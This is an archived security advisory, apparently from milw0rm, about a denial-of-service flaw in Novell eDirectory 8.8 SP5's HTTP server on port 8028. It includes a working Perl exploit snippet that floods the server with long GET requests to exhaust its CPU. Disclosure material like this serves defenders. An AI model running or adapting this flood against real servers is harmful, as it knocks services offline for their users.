Affected Software: Novell eDirectory 8.8 SP5 Vulnerability Description: Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack. If a remote attacker sends Unicode strings with Http Request to "8028 port" ("8028" is the default port of Novell eDirectory Dhost Http Server), the attacker can cause the system to consume %100 of the CPU resources. Discovered by: karak0rsan, Hellcode Research Original Advisory: http://tcc.hellcode.net/advisories/hellcode-adv003.txt Exploit: - snip- .... $data = "?" x 500000; for($i= 0; $i < 1000; $i++) { $sock= new IO::Socket::INET( PeerAddr => "localhost", PeerPort => 8028, Proto => 'tcp', Type => SOCK_STREAM, ); print $sock "GET /$data HTTP/1.0\r\n\r\n"; close($sock); } ... - snip - # milw0rm.com [2009-09-09]